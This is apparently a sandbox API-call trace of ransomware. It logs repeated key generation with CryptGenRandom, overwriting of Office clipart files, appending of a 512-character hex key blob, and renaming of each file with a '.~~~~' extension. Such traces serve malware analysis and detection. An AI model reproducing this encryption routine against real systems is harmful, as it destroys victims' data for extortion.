	[0110.431] WriteFile (in: hFile=0x144, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x2230, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x2230, lpOverlapped=0x0) returned 1
	[0110.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.441] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.441] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.441] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.441] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.441] CloseHandle (hObject=0x144) returned 1
	[0110.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c2bf8
	[0110.448] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf.~~~~")) returned 1
	[0110.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2bf8 | out: hHeap=0x300000) returned 1
	[0110.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0110.455] GetLastError () returned 0x0
	[0110.455] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0110.456] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.456] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0110.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0110.456] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23044620794) returned 1
	[0110.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xab714030, dwHighDateTime=0x1d60e1e)) 
	[0110.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0110.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0110.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0110.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808fa8
	[0110.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808fa8 | out: hHeap=0x300000) returned 1
	[0110.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c2bf8
	[0110.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282bec8
	[0110.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2bf8 | out: hHeap=0x300000) returned 1
	[0110.464] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0110.464] GetLastError () returned 0x0
	[0110.464] GetLastError () returned 0x0
	[0110.464] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0110.464] GetLastError () returned 0x0
	[0110.464] GetLastError () returned 0x0
	[0110.466] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff8f10, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.466] WriteFile (in: hFile=0x11c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x70f0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x70f0, lpOverlapped=0x0) returned 1
	[0110.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0110.467] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.467] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.467] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.467] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.467] CloseHandle (hObject=0x11c) returned 1
	[0110.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c2bf8
	[0110.467] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf.~~~~")) returned 1
	[0110.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2bf8 | out: hHeap=0x300000) returned 1
	[0110.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0110.468] GetLastError () returned 0x0
	[0110.469] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0110.470] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.470] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0110.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0110.470] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23045982695) returned 1
	[0110.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xab73a190, dwHighDateTime=0x1d60e1e)) 
	[0110.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0110.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0110.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0110.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809018
	[0110.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809018 | out: hHeap=0x300000) returned 1
	[0110.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c2bf8
	[0110.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282bf60
	[0110.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2bf8 | out: hHeap=0x300000) returned 1
	[0110.470] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0110.470] GetLastError () returned 0x0
	[0110.471] GetLastError () returned 0x0
	[0110.471] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0110.471] GetLastError () returned 0x0
	[0110.471] GetLastError () returned 0x0
	[0110.473] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffb8ce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.473] WriteFile (in: hFile=0x11c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x4732, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x4732, lpOverlapped=0x0) returned 1
	[0110.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0110.474] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.474] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.474] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.474] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.474] CloseHandle (hObject=0x11c) returned 1
	[0110.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c2bf8
	[0110.474] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf.~~~~")) returned 1
	[0110.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2bf8 | out: hHeap=0x300000) returned 1
	[0110.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0110.475] GetLastError () returned 0x0
	[0110.475] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0110.476] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.476] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0110.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0110.477] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23046665163) returned 1
	[0110.477] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xab7602f0, dwHighDateTime=0x1d60e1e)) 
	[0110.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0110.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0110.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0110.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809050
	[0110.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809050 | out: hHeap=0x300000) returned 1
	[0110.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c2bf8
	[0110.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c090
	[0110.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2bf8 | out: hHeap=0x300000) returned 1
	[0110.477] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0110.477] GetLastError () returned 0x0
	[0110.477] GetLastError () returned 0x0
	[0110.478] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0110.478] GetLastError () returned 0x0
	[0110.478] GetLastError () returned 0x0
	[0110.480] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff940a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.480] WriteFile (in: hFile=0x11c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x6bf6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x6bf6, lpOverlapped=0x0) returned 1
	[0110.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0110.481] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.481] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.482] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.482] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.482] CloseHandle (hObject=0x11c) returned 1
	[0110.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c2bf8
	[0110.482] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf.~~~~")) returned 1
	[0110.483] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2bf8 | out: hHeap=0x300000) returned 1
	[0110.483] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0110.483] GetLastError () returned 0x0
	[0110.484] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0110.485] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.485] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0110.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0110.486] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23047568835) returned 1
	[0110.486] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xab7602f0, dwHighDateTime=0x1d60e1e)) 
	[0110.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0110.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0110.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0110.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809088
	[0110.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809088 | out: hHeap=0x300000) returned 1
	[0110.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c2bf8
	[0110.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c128
	[0110.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2bf8 | out: hHeap=0x300000) returned 1
	[0110.487] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0110.487] GetLastError () returned 0x0
	[0110.487] GetLastError () returned 0x0
	[0110.487] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0110.487] GetLastError () returned 0x0
	[0110.487] GetLastError () returned 0x0
	[0110.490] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff292, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.490] WriteFile (in: hFile=0x11c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0xd6e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0xd6e, lpOverlapped=0x0) returned 1
	[0110.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0110.491] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.491] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.492] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.492] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.492] CloseHandle (hObject=0x11c) returned 1
	[0110.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c2bf8
	[0110.494] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf.~~~~")) returned 1
	[0110.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2bf8 | out: hHeap=0x300000) returned 1
	[0110.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0110.495] GetLastError () returned 0x0
	[0110.495] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0110.496] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.496] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0110.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0110.497] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23048687243) returned 1
	[0110.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xab786450, dwHighDateTime=0x1d60e1e)) 
	[0110.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0110.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0110.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0110.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28090c0
	[0110.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28090c0 | out: hHeap=0x300000) returned 1
	[0110.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c2bf8
	[0110.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c1c0
	[0110.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2bf8 | out: hHeap=0x300000) returned 1
	[0110.498] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0110.498] GetLastError () returned 0x0
	[0110.498] GetLastError () returned 0x0
